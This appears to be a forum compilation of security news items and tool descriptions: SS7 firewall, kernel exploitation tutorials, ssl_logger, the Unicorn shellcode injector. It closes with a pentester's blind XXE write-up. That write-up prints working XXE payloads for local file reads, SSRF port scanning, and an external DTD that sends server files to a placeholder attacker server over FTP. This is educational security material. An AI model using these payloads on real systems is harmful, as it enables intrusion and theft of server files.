kernel. "OpenBSD's idea would go even further [than current Windows kernel protections] as everyone would have a unique kernel binary as well," Wosar said in a private conversation with Bleeping Computer. "So even if you had the address where the kernel starts (which is randomised), you couldn't use it to figure out where certain functions are located, as the location of the functions relative to the kernel start will be different from system to system as well," Wosar added. Having KARL on other OS platforms would greatly improve the security of both Windows and Linux users. Sursa: https://www.bleepingcomputer.com/news/security/openbsd-will-get-unique-kernels-on-each-reboot-do-you-hear-that-linux-windows/

Researchers Build Firewall to Deflect SS7 Attacks Security researchers will release an open-source SS7 firewall at Black Hat USA that aims to bolster security of mobile operators' core networks. Mobile security software can do little to protect end users and BYOD workers when Signaling System 7 (SS7) vulnerabilities are exploited in mobile operotors' core mobile networks, according to security researchers. SS7 vulnerabilities, which can allow cybercriminals to hijack two-factor authentication codes texted to mobile phones, read and redirect text messages, eavesdrop on phone calls, and track a phone's location, have existed since 2014. But researchers from P1 Security have built a firewall that defends against such SS7 attacks. Martin Kacer, P1's core network security researcher, and Philippe Langlois, P1's CEO, will release the homegrown open-source SS7 firewall technology at Black Hat USA in Las Vegas later this month. "Two years ago, it was very expensive and hard to deploy an SS7 firewall," Kacer says. "But now there is a new open-source SS7 firewall that will make it less expensive" for mobile operators, he says. Langlois, meanwhile, notes that the firewall will allow operators to encrypt signalization and authenticate connecting mobile operators using the SS7 and Diameter protocol, whereas before it was not possible to easily enable confidentiality and integrity protection for the signalization between operators. This is designed to prevent attackers from sniffing the traffic as it flies between the mobile core networks. It also prevents spoofing, where attackers impersonate networks, Kacer says. Not only is the open-source firewall designed to take standard firewall measures against cyberattacks, but it's also configured to take an advanced defensive posture as well. Attackers who send an illegal signalization in the hope of identifying the location of the cellphone will instead have it redirected to a honeypot, for instance, which will then send a fake location to the attacker, Kacer says. P1's Kacer and Langlois in their SS7 Attacker Heaven Turns Into Riot: How To Make Nation-State And Intelligence Attackers' Lives Much Harder On Mobile Networks talk at Black Hat also plan to delve into the current status of SS7 mobile vulnerabilities, potential solutions, explore advanced SS7 attacks, and defenses relating to the SS7 network vulnerabilities. Dawn Kawamoto is an Associate Editor for Dark Reading, where she covers cybersecurity news and trends. She is an award-winning journalist who has written and edited technology, management, leadership, career, finance, and innovation stories for such publications as CNET's ... View Full Bio Sursa: http://www.darkreading.com/mobile/researchers-build-firewall-to-deflect-ss7-attacks/d/d-id/1329272

Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18. https://www.trustedsec.com unicorn Written by: Dave Kennedy (@HackingDave) Website: https://www.trustedsec.com Magic Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18. Usage is simple, just run Magic Unicorn (ensure Metasploit is installed and in the right path) and magic unicorn will automatically generate a powershell command that you need to simply cut and paste the powershell code into a command line window or through a payload delivery system. Link: https://github.com/trustedsec/unicorn

Windows Kernel Exploitation When I started learning about Windows kernel exploitation, I turned my notes into blog posts and tried to make them explain everything that I was doing. This process improved my understanding a great deal and several rounds of feedback and rewrites later, they've become this series of tutorials. The first part covers a couple of different ways to setup kernel debugging for a live Windows host and some basic WinDbg commands. Windows Kernel Exploitation Part 0: Kernel Debugging Parts 1 to 5 walk through exploiting what at the time were most of the vulnerabilities present in the HackSysTeam extremely vulnerable driver. This is a Windows driver based exploit me, created with the aim of helping people learn Windows kernel exploitation. Windows Kernel Exploitation Part 1: Getting Started With The HackSysTeam Extremely Vulnerable Driver Windows Kernel Exploitation Part 2: My First Kernel Exploit Windows Kernel Exploitation Part 3: Arbitary Overwrite, NULL Pointer, Type Confusion And Integer Overflow Examples Windows Kernel Exploitation Part 4: Introduction to Windows Kernel Pool Exploitation The Spiritual part 5 of the series was published via MWR Labs and walks through exploiting CVE-2014-4113 on a 32 bit copy of Windows 7. Windows Kernel Exploitation 101: Exploiting CVE-2014-4113 The remaining post focuses on bridging the gap between exploiting vulnerabilities on Windows 7 and Windows 8.1 and solving the extra challenges this introduces. Windows Kernel Exploitation Part 6: Moving On From Windows 7, Arbitary Overwrite and Stack Overflow Examples For Windows 8.1 64Bit Additionally I wrote a long post on revisiting a paper originally written by j00ru about kernel address leaks, looking at how the functions used in his paper had been modified on newer versions of Windows: Revisiting Windows Security Hardening Through Kernel Address Protection Sursa: https://samdb.xyz/windows-kernel-exploitation/

A Study of Overflow Vulnerabilities on GPUs Bang Di, Jianhua Sun and Hao Chen College of Computer Science and Electronic Engineering, Hunan University, Changsha 410082, China {dibang,jhsun,haochen}@hnu.edu.cn Abstract. GPU-accelerated computing gains rapidly-growing popular- ity in many areas such as scientific computing, database systems, and cloud environments. However, there are less investigations on the security implications of concurrently running GPU applications. In this paper, we explore security vulnerabilities of CUDA from multiple dimensions. In particular, we first present a study on GPU stack, and reveal that stack overflow of CUDA can affect the execution of other threads by manipu- lating different memory spaces. Then, we show that the heap of CUDA is organized in a way that allows threads from the same warp or different blocks or even kernels to overwrite each other’s content, which indicates a high risk of corrupting data or steering the execution flow by over- writing function pointers. Furthermore, we verify that integer overflow and function pointer overflow in struct also can be exploited on GPUs. But other attacks against format string and exception handler seems not feasible due to the design choices of CUDA runtime and programming language features. Finally, we propose potential solutions of preventing the presented vulnerabilities for CUDA. Sursa: https://www.aimlab.org/haochen/papers/npc16-overflow.pdf

ssl_logger Decrypts and logs a process's SSL traffic. The functionality offered by ssl_logger is intended to mimic Echo Mirage's SSL logging functionality on Linux and macOS. Basic Usage python ssl_logger.py [-pcap <path>] [-verbose] <process name | process id> Arguments: -pcap <path> Name of PCAP file to write -verbose Show verbose output <process name | process id> Process whose SSL calls to log Examples: ssl_logger.py -pcap ssl.pcap openssl ssl_logger.py -verbose 31337 ssl_logger.py -pcap log.pcap -verbose wget Full Example geffner@ubuntu:~$ # Make a local pipe for input to our openssl client geffner@ubuntu:~$ mkfifo pipe geffner@ubuntu:~$ # Create our openssl client, which will receive input from our pipe geffner@ubuntu:~$ openssl s_client -ign_eof -connect example.org:443 > /dev/null 2> /dev/null < pipe & [1] 98954 geffner@ubuntu:~$ # Begin writing the request to our pipe geffner@ubuntu:~$ printf "GET / HTTP/1.0\nHost:example.org\n" > pipe geffner@ubuntu:~$ # Begin logging the SSL traffic for our openssl client process geffner@ubuntu:~$ python ssl_logger.py -verbose 98954 & [2] 98962 Press Ctrl+C to stop logging. geffner@ubuntu:~$ # Write the final line-feed to our pipe to complete the HTTP request geffner@ubuntu:~$ printf "\n" > pipe SSL Session: 1820201001719DF42ECCA1D289C3D32E0AA0454B50E8AF00E8A65B0108F209A8 [SSL_write] 100.97.20.44:45836 --> 93.184.216.34:443 00000000: 0A . SSL Session: 1820201001719DF42ECCA1D289C3D32E0AA0454B50E8AF00E8A65B0108F209A8 [SSL_read] 93.184.216.34:443 --> 100.97.20.44:45836 00000000: 48 54 54 50 2F 31 2E 30 20 32 30 30 20 4F 4B 0D HTTP/1.0 200 OK. 00000010: 0A 41 63 63 65 70 74 2D 52 61 6E 67 65 73 3A 20 .Accept-Ranges: 00000020: 62 79 74 65 73 0D 0A 43 61 63 68 65 2D 43 6F 6E bytes..Cache-Con 00000030: 74 72 6F 6C 3A 20 6D 61 78 2D 61 67 65 3D 36 30 trol: max-age=60 00000040: 34 38 30 30 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 4800..Content-Ty 00000050: 70 65 3A 20 74 65 78 74 2F 68 74 6D 6C 0D 0A 44 pe: text/html..D 00000060: 61 74 65 3A 20 54 68 75 2C 20 32 32 20 4A 75 6E ate: Thu, 22 Jun 00000070: 20 32 30 31 37 20 31 35 3A 31 36 3A 35 32 20 47 2017 15:16:52 G 00000080: 4D 54 0D 0A 45 74 61 67 3A 20 22 33 35 39 36 37 MT..Etag: "35967 00000090: 30 36 35 31 22 0D 0A 45 78 70 69 72 65 73 3A 20 0651"..Expires: 000000A0: 54 68 75 2C 20 32 39 20 4A 75 6E 20 32 30 31 37 Thu, 29 Jun 2017 000000B0: 20 31 35 3A 31 36 3A 35 32 20 47 4D 54 0D 0A 4C 15:16:52 GMT..L 000000C0: 61 73 74 2D 4D 6F 64 69 66 69 65 64 3A 20 46 72 ast-Modified: Fr 000000D0: 69 2C 20 30 39 20 41 75 67 20 32 30 31 33 20 32 i, 09 Aug 2013 2 000000E0: 33 3A 35 34 3A 33 35 20 47 4D 54 0D 0A 53 65 72 3:54:35 GMT..Ser 000000F0: 76 65 72 3A 20 45 43 53 20 28 72 68 76 2F 38 31 ver: ECS (rhv/81 00000100: 38 46 29 0D 0A 56 61 72 79 3A 20 41 63 63 65 70 8F)..Vary: Accep 00000110: 74 2D 45 6E 63 6F 64 69 6E 67 0D 0A 58 2D 43 61 t-Encoding..X-Ca 00000120: 63 68 65 3A 20 48 49 54 0D 0A 43 6F 6E 74 65 6E che: HIT..Conten 00000130: 74 2D 4C 65 6E 67 74 68 3A 20 31 32 37 30 0D 0A t-Length: 1270.. 00000140: 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 63 6C 6F 73 Connection: clos 00000150: 65 0D 0A 0D 0A e.... SSL Session: 1820201001719DF42ECCA1D289C3D32E0AA0454B50E8AF00E8A65B0108F209A8 [SSL_read] 93.184.216.34:443 --> 100.97.20.44:45836 00000000: 3C 21 64 6F 63 74 79 70 65 20 68 74 6D 6C 3E 0A <!doctype html>. 00000010: 3C 68 74 6D 6C 3E 0A 3C 68 65 61 64 3E 0A 20 20 <html>.<head>. 00000020: 20 20 3C 74 69 74 6C 65 3E 45 78 61 6D 70 6C 65 <title>Example 00000030: 20 44 6F 6D 61 69 6E 3C 2F 74 69 74 6C 65 3E 0A Domain</title>. 00000040: 0A 20 20 20 20 3C 6D 65 74 61 20 63 68 61 72 73 . <meta chars 00000050: 65 74 3D 22 75 74 66 2D 38 22 20 2F 3E 0A 20 20 et="utf-8" />. 00000060: 20 20 3C 6D 65 74 61 20 68 74 74 70 2D 65 71 75 <meta http-equ 00000070: 69 76 3D 22 43 6F 6E 74 65 6E 74 2D 74 79 70 65 iv="Content-type 00000080: 22 20 63 6F 6E 74 65 6E 74 3D 22 74 65 78 74 2F " content="text/ 00000090: 68 74 6D 6C 3B 20 63 68 61 72 73 65 74 3D 75 74 html; charset=ut 000000A0: 66 2D 38 22 20 2F 3E 0A 20 20 20 20 3C 6D 65 74 f-8" />. <met 000000B0: 61 20 6E 61 6D 65 3D 22 76 69 65 77 70 6F 72 74 a name="viewport 000000C0: 22 20 63 6F 6E 74 65 6E 74 3D 22 77 69 64 74 68 " content="width 000000D0: 3D 64 65 76 69 63 65 2D 77 69 64 74 68 2C 20 69 =device-width, i 000000E0: 6E 69 74 69 61 6C 2D 73 63 61 6C 65 3D 31 22 20 nitial-scale=1" 000000F0: 2F 3E 0A 20 20 20 20 3C 73 74 79 6C 65 20 74 79 />. <style ty 00000100: 70 65 3D 22 74 65 78 74 2F 63 73 73 22 3E 0A 20 pe="text/css">. 00000110: 20 20 20 62 6F 64 79 20 7B 0A 20 20 20 20 20 20 body {. 00000120: 20 20 62 61 63 6B 67 72 6F 75 6E 64 2D 63 6F 6C background-col 00000130: 6F 72 3A 20 23 66 30 66 30 66 32 3B 0A 20 20 20 or: #f0f0f2;. 00000140: 20 20 20 20 20 6D 61 72 67 69 6E 3A 20 30 3B 0A margin: 0;. 00000150: 20 20 20 20 20 20 20 20 70 61 64 64 69 6E 67 3A padding: 00000160: 20 30 3B 0A 20 20 20 20 20 20 20 20 66 6F 6E 74 0;. font 00000170: 2D 66 61 6D 69 6C 79 3A 20 22 4F 70 65 6E 20 53 -family: "Open S 00000180: 61 6E 73 22 2C 20 22 48 65 6C 76 65 74 69 63 61 ans", "Helvetica 00000190: 20 4E 65 75 65 22 2C 20 48 65 6C 76 65 74 69 63 Neue", Helvetic 000001A0: 61 2C 20 41 72 69 61 6C 2C 20 73 61 6E 73 2D 73 a, Arial, sans-s 000001B0: 65 72 69 66 3B 0A 20 20 20 20 20 20 20 20 0A 20 erif;. . 000001C0: 20 20 20 7D 0A 20 20 20 20 64 69 76 20 7B 0A 20 }. div {. 000001D0: 20 20 20 20 20 20 20 77 69 64 74 68 3A 20 36 30 width: 60 000001E0: 30 70 78 3B 0A 20 20 20 20 20 20 20 20 6D 61 72 0px;. mar 000001F0: 67 69 6E 3A 20 35 65 6D 20 61 75 74 6F 3B 0A 20 gin: 5em auto;. 00000200: 20 20 20 20 20 20 20 70 61 64 64 69 6E 67 3A 20 padding: 00000210: 35 30 70 78 3B 0A 20 20 20 20 20 20 20 20 62 61 50px;. ba 00000220: 63 6B 67 72 6F 75 6E 64 2D 63 6F 6C 6F 72 3A 20 ckground-color: 00000230: 23 66 66 66 3B 0A 20 20 20 20 20 20 20 20 62 6F #fff;. bo 00000240: 72 64 65 72 2D 72 61 64 69 75 73 3A 20 31 65 6D rder-radius: 1em 00000250: 3B 0A 20 20 20 20 7D 0A 20 20 20 20 61 3A 6C 69 ;. }. a:li 00000260: 6E 6B 2C 20 61 3A 76 69 73 69 74 65 64 20 7B 0A nk, a:visited {. 00000270: 20 20 20 20 20 20 20 20 63 6F 6C 6F 72 3A 20 23 color: # 00000280: 33 38 34 38 38 66 3B 0A 20 20 20 20 20 20 20 20 38488f;. 00000290: 74 65 78 74 2D 64 65 63 6F 72 61 74 69 6F 6E 3A text-decoration: 000002A0: 20 6E 6F 6E 65 3B 0A 20 20 20 20 7D 0A 20 20 20 none;. }. 000002B0: 20 40 6D 65 64 69 61 20 28 6D 61 78 2D 77 69 64 @media (max-wid 000002C0: 74 68 3A 20 37 30 30 70 78 29 20 7B 0A 20 20 20 th: 700px) {. 000002D0: 20 20 20 20 20 62 6F 64 79 20 7B 0A 20 20 20 20 body {. 000002E0: 20 20 20 20 20 20 20 20 62 61 63 6B 67 72 6F 75 backgrou 000002F0: 6E 64 2D 63 6F 6C 6F 72 3A 20 23 66 66 66 3B 0A nd-color: #fff;. 00000300: 20 20 20 20 20 20 20 20 7D 0A 20 20 20 20 20 20 }. 00000310: 20 20 64 69 76 20 7B 0A 20 20 20 20 20 20 20 20 div {. 00000320: 20 20 20 20 77 69 64 74 68 3A 20 61 75 74 6F 3B width: auto; 00000330: 0A 20 20 20 20 20 20 20 20 20 20 20 20 6D 61 72 . mar 00000340: 67 69 6E 3A 20 30 20 61 75 74 6F 3B 0A 20 20 20 gin: 0 auto;. 00000350: 20 20 20 20 20 20 20 20 20 62 6F 72 64 65 72 2D border- 00000360: 72 61 64 69 75 73 3A 20 30 3B 0A 20 20 20 20 20 radius: 0;. 00000370: 20 20 20 20 20 20 20 70 61 64 64 69 6E 67 3A 20 padding: 00000380: 31 65 6D 3B 0A 20 20 20 20 20 20 20 20 7D 0A 20 1em;. }. 00000390: 20 20 20 7D 0A 20 20 20 20 3C 2F 73 74 79 6C 65 }. </style 000003A0: 3E 20 20 20 20 0A 3C 2F 68 65 61 64 3E 0A 0A 3C > .</head>..< 000003B0: 62 6F 64 79 3E 0A 3C 64 69 76 3E 0A 20 20 20 20 body>.<div>. 000003C0: 3C 68 31 3E 45 78 61 6D 70 6C 65 20 44 6F 6D 61 <h1>Example Doma 000003D0: 69 6E 3C 2F 68 31 3E 0A 20 20 20 20 3C 70 3E 54 in</h1>. <p>T 000003E0: 68 69 73 20 64 6F 6D 61 69 6E 20 69 73 20 65 73 his domain is es 000003F0: 74 61 62 6C 69 73 68 65 64 20 74 6F 20 62 65 20 tablished to be SSL Session: 1820201001719DF42ECCA1D289C3D32E0AA0454B50E8AF00E8A65B0108F209A8 [SSL_read] 93.184.216.34:443 --> 100.97.20.44:45836 00000000: 75 73 65 64 20 66 6F 72 20 69 6C 6C 75 73 74 72 used for illustr 00000010: 61 74 69 76 65 20 65 78 61 6D 70 6C 65 73 20 69 ative examples i 00000020: 6E 20 64 6F 63 75 6D 65 6E 74 73 2E 20 59 6F 75 n documents. You 00000030: 20 6D 61 79 20 75 73 65 20 74 68 69 73 0A 20 20 may use this. 00000040: 20 20 64 6F 6D 61 69 6E 20 69 6E 20 65 78 61 6D domain in exam 00000050: 70 6C 65 73 20 77 69 74 68 6F 75 74 20 70 72 69 ples without pri 00000060: 6F 72 20 63 6F 6F 72 64 69 6E 61 74 69 6F 6E 20 or coordination 00000070: 6F 72 20 61 73 6B 69 6E 67 20 66 6F 72 20 70 65 or asking for pe 00000080: 72 6D 69 73 73 69 6F 6E 2E 3C 2F 70 3E 0A 20 20 rmission.</p>. 00000090: 20 20 3C 70 3E 3C 61 20 68 72 65 66 3D 22 68 74 <p><a href="ht 000000A0: 74 70 3A 2F 2F 77 77 77 2E 69 61 6E 61 2E 6F 72 tp://www.iana.or 000000B0: 67 2F 64 6F 6D 61 69 6E 73 2F 65 78 61 6D 70 6C g/domains/exampl 000000C0: 65 22 3E 4D 6F 72 65 20 69 6E 66 6F 72 6D 61 74 e">More informat 000000D0: 69 6F 6E 2E 2E 2E 3C 2F 61 3E 3C 2F 70 3E 0A 3C ion...</a></p>.< 000000E0: 2F 64 69 76 3E 0A 3C 2F 62 6F 64 79 3E 0A 3C 2F /div>.</body>.</ 000000F0: 68 74 6D 6C 3E 0A html>. Dependencies This program uses the frida framework to perform code injection. Frida can be installed as follows: sudo pip install frida TODO Add support for processes that communicate via SSL without using libssl. Allow user to run ssl_logger before starting the process to be logged. Disclaimer This is not an official Google product. Sursa: https://github.com/google/ssl_logger

CANAPE.Core - (c) James Forshaw 2017 A network proxy library written in C# for .NET Core based on CANAPE. Licensed under GPLv3. It should work on any platform with .NET Standard support 1.5, so .NET Core 1.0.4 on Windows, Linux and macOS should be suitable as well as recompiling for .NET framework and Mono. To use either compile with Visual Studio 2017 with .NET Core support or from the command line do the following: dotnet restore dotnet build CANAPE.Cli/CANAPE.Cli.csproj -c Release -f netcoreapp1.1 cd CANAPE.Cli/bin/Release/netcoreapp1.1 dotnet exec CANAPE.Cli.dll Examples/SocksProxy.csx --color Sursa: https://github.com/tyranid/CANAPE.Core

Iata cateva noutati referitoare la evenimentul OWASP din Octombrie: OWASP AppSec Bucharest 2017 va avea loc intre 11 si 13 octombrie 2017 la Hotel Caro. Prezentarile si CTF-ul vor fi pe 13 octombrie impreuna cu workshop-uri cu intrarea libera. Pe 11 si 12 octombrie vom avea training-uri platite. Adobe este sponsor al evenimentului! Printre oaspeti se numara Robert Seacord - pentru un training de 3 zile de "Secure Java Coding" si Björn Kimminich - care va sustine un workshop de 3 ore despre OWASP Juice Shop. Aici sunt cateva link-uri utile pe care le puteti urmari pentru a afla programul complet: https://www.owasp.org/index. php/OWASP_Bucharest_AppSec_ Conference_2017 https://www.eventbrite.com/e/ owasp-bucharest-appsec- conference-2017-tickets- 35356670754 https://www.facebook.com/ events/1467007866655252 Intre timp, call for speakers este inca deschis. O zi frumoasa! Oana

netdata New to netdata? Here is a live demo: http://my-netdata.io netdata is a system for distributed real-time performance and health monitoring. It provides unparalleled insights, in real-time, of everything happening on the system it runs (including applications such as web and database servers), using modern interactive web dashboards. netdata is fast and efficient, designed to permanently run on all systems (physical & virtual servers, containers, IoT devices), without disrupting their core function. netdata runs on Linux, FreeBSD, and MacOS. News Netdata is featured at GitHub's State Of The Octoverse 2016 Mar 20th, 2017 - netdata v1.6.0 released! central netdata is here! headless collectors, proxies, streaming of metrics, etc. monitoring ephemeral nodes (auto-scaled VMs) monitoring ephemeral containers and VM guests monitoring web servers apps.plugin ported for FreeBSD monitoring IPMI dozens of new and improved plugins dozens of new and improved alarms dozens more improvements and performance optimizations Features Stunning interactive bootstrap dashboards mouse and touch friendly, in 2 themes: dark, light Amazingly fast responds to all queries in less than 0.5 ms per metric, even on low-end hardware Highly efficient collects thousands of metrics per server per second, with just 1% CPU utilization of a single core, a few MB of RAM and no disk I/O at all Sophisticated alarming hundreds of alarms, out of the box! supports dynamic thresholds, hysteresis, alarm templates, multiple role-based notification methods (such as email, slack.com, pushover.net, pushbullet.com, telegram.org, twilio.com, messagebird.com) Extensible you can monitor anything you can get a metric for, using its Plugin API (anything can be a netdata plugin, BASH, python, perl, node.js, java, Go, ruby, etc) Embeddable it can run anywhere a Linux kernel runs (even IoT) and its charts can be embedded on your web pages too Customizable custom dashboards can be built using simple HTML (no javascript necessary) Zero configuration auto-detects everything, it can collect up to 5000 metrics per server out of the box Zero dependencies it is even its own web server, for its static web files and its web API Zero maintenance you just run it, it does the rest scales to infinity requiring minimal central resources several operating modes autonomous host monitoring, headless data collector, forwarding proxy, store and forward proxy, central multi-host monitoring, in all possible configurations. Each node may have different metrics retention policy and run with or without health monitoring. time-series back-ends supported can archive its metrics on graphite, opentsdb, prometheus, json document DBs, in the same or lower detail (lower: to prevent it from congesting these servers due to the amount of data collected) Sursa: https://github.com/firehol/netdata/

How to start Clone files $ git clone git@github.com:Bo0oM/Safiler.git $ cd Safiler Run server $ [sudo] pip install -r requirements.txt $ python server.py Open PoC Open PoC.xhtm or PoC.webarchive in Safari. Copy on a USB flash drive and carry it with you Demo Sursa: https://github.com/Bo0oM/Safiler

Hunting in the Dark - Blind XXE 07 JULY 2017 on learning, bugbounty, injection, XXE Before getting into the post, this isn't anything brand new or leet in the area of XML External Entity (XXE) attacks, it is purely something I came across and wanted to share. The tl;dr to start off is essentially: Found an XXE bug that was blind meaning that no data or files were returned, based upon no knowledge of the back end. Port scanned with it based on errors, etc. Managed to get external interaction working. Utilized blind scanning to identify files on the back-end system. As a pentester I find myself learning loads every single day, whether it be reading for pleasure or learning something new on the job. Every day is still a school day and I'm always coming across things I've maybe seen before but in different implementations. This instance was a case of a JSON endpoint which when you flipped the content type it'd process XML entities and give you different errors depending on what content it received. What's this XXE you speak of? For those who read XXE and don't know what it is here's a short description taken from OWASP: An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts. If the generic description from OWASP doesn't cut it for you, it is essentially when you send malicious XML content to an application which processes that content to disclose information. This can result in: Local File Inclusion(LFI), Remote Code Execution(RCE), Denial of Service (DoS), Server Side Request Forgery(SSRF) & other types of attack however these are the main ones to look out for. It is essentially another injection type attack and one that can be quite critical if leveraged properly. So this post takes the form of a problem I encountered on a recent pentest & later found on a bounty too, essentially the issue lies with an application that accepted XML input and wasn't sufficiently scrutinising user supplied data. Initial Discovery The first identification that the host might be processing XML was made when I flipped the content type to XML on a JSON endpoint. An example request of how this was done is shown below: POST /broken/api/confirm HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Content-Type: application/xml;charset=UTF-8 [{}] To which this replied with a Java based error in the response similar to that shown below. javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document The contents of the error basically state that the backend processed the XML sent to it and had an issue with extracting the necessary content to process thus resulting in an error. In comparison to other responses the application was giving, this stood out as odd based upon the other responses being either True or False. Pulling at the thread So the next natural step for me was to pull at that thread and see how to application responded to other types of content being sent to it. First off I sent a generic XML payload to test the water and check this wasn't just a fluke. POST /broken/api/confirm HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Content-Type: application/xml;charset=UTF-8 <?xml version="1.0" encoding="utf-8"?> So that was sent to the application once again, this time the error response was slightly different in that it returned more context to the error: javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document Internal Exception: ████████████████████████: Unexpected EOF in prolog at [row,col {unknown-source}]: [3,0]] This confirmed the suspicion that the application was processing XML input, the error this time explained that there was an unexpected end to the passed data meaning that it was expecting more information in a POST request. Starting the Hunt This is where the hunt begins, normally the differentiation between errors might be enough for most people however I wanted to see how far I could go with this and what other information I could uncover. I started with regular XXE payloads looking for local files similar to this: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "file:///etc/passwd"> %a; ]> However the application kept replying with generic errors similar to the EOF one seen earlier so I had to dig deeper to find info about the server. Enter server side request forgery(SSRF). SSRF is basically a type of attack whereby an attacker can send a specially crafted request to an app in order to trigger a server side action. This can be leveraged to carry out port scanning and in some cases remote code execution(RCE). Port Scanning So with some quick messing around I compiled a payload to use for a server side request forgery type attack, the XML essentially probes a host on a port specified in order to determine if ports are open on the local machine in this case 127.0.0.1 has been used. <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [ <!ELEMENT data (#PCDATA)> ]> <data>4</data> Aha! Light bulb moment, the application responded with another error. However this time it was meaningful to an extent disclosing that the connection was refused... javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document Internal Exception: ████████████████████████: Connection refused So what does this mean for the findings so far? Well the application is clearly responding to XML input, how about a port scan of the local machine? Woohoo time to use burp intruder: Setting the point of attack to the port & URI handler, and adding making the payload sets: 1) a list of URIs(HTTP, HTTPS & FTP) 2) the numbers 0-65535 as that encapsulates a full port scan in this instance. Running this attack takes a short while as it's sending ~200,000 requests based upon the amount of ports * the amount of URI handlers. A short while later after sorting the responses by length it returns that port 8080 appears to be open on HTTP & HTTPS. Sure enough when both of these responses are viewed the content is different and indicates that these ports may in fact be open: HTTP javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: ████████████████████████: Unrecognized DTD directive '<!DOCTYPE >'; expected ATTLIST, ELEMENT, ENTITY or NOTATION (or, for DTD++, TARGETNS) at [row,col,system-id]: [1,9,"http://127.0.0.1:8080/"] from [row,col {unknown-source}]: [1,1]] HTTPS javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document Internal Exception: ████████████████████████: Unrecognised SSL message, plaintext connection?] From the HTTP response we can see that instead of returning Connection Refused instead another error is returned which points to this port as being open. Likewise when looking at the HTTPS response, the contents indicate that the port is open on a plain text protocol and not talking SSL. Using this logic the next step would be naturally to scan the internal network too, however at this stage I didn't know what the IP address was so shelved the port scanning and moved onto identification of external access. External Service Interaction In addition to port scanning it was also determined that it was possible to make requests to external sites, to emulate this I leveraged ncat on a remote server. NCAT is that little bit better than netcat as it gives more info printed out upon successful connections, it shares the same flags as netcat too which is very useful. I set this up as a listener on a remote server using the command: ncat -lvkp 8090 -l this specifies ncat to be in listening mode v turns on verbose mode k makes sure the connection is kept live after a successful connection p specifies the specific port to listen on If you're interested in more about ncat check out the manual pages for it here. With the listener all setup the next step was to test that connections could be made from the application server. This was achieved by issuing the following request(note: if you don't own a VPS or server, burp collaborator can be used too): POST /broken/api/confirm HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Content-Type: application/xml;charset=UTF-8 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://ATTACKERIP:8090/" [ <!ELEMENT data (#PCDATA)> ]> <data>4</data> Taking note that the port can be anything, I've selected 8090 for this demonstration. Anyway, upon sending this request the following information was received on the remote server: Ncat: Version 7.40 ( https://nmap.org/ncat ) Ncat: Listening on :::8090 Ncat: Listening on 0.0.0.0:8090 Ncat: Connection from ██████████████████. GET / HTTP/1.1 Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.8.0_60 Host: ATTACKERHOST:8090 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive Key information outlined above includes the IP address of the server which upon further inspection was from an Amazon Web Services (AWS) instance, additionally the user agent for the request was found to be Java/1.8.0_60indicating that the back-end server is processing Java. Another attack type that was identified using an out of band (OOB) type attack targeting the server to identify if files exist or not. Out of Band(OOB) Attacks File Identification Alongside external interaction, it was also identified that it was possible to determine if files exist on the back end server based upon responses. In order to do this I leveraged the FTP URI handler in an OOB attack. The following request was sent to the application to demonstrate and test this. POST /broken/api/confirm HTTP/1.1 Host: example.com Content-Type: application/xml;charset=UTF-8 Content-Length: 132 <?xml version="1.0" ?> <!DOCTYPE a [ <!ENTITY % asd SYSTEM "http://ATTACKERSERVER:8090/xxe_file.dtd"> %asd; %c; ]> <a>&rrr;</a> This basically sends a request to a remote server looking for an external document type definition (DTD) file which contains the payload, the contents of the file used for this scenario were: <!ENTITY % d SYSTEM "file:///var/www/web.xml"> <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://ATTACKERSERVER:2121/%d;'>"> The payload sends a second request to the attacker’s server looking for a DTD file which contains a request for another file on the target server. If the file didn't exist the server responded with a No such file or directoryresponse. Similar to that shown below: javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document Internal Exception: ████████████████████████: (was java.io.FileNotFoundException) /var/www/index.html (No such file or directory) at [row,col,system-id]: [2,63,"http://ATTACKERSERVER:8090/xxe_file.dtd"] from [row,col {unknown-source}]: [4,6]] However, if it does exist the response is different. The error A descriptor with default root element foo was not found in the projectwas returned as due to me not knowing the root element names. javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] 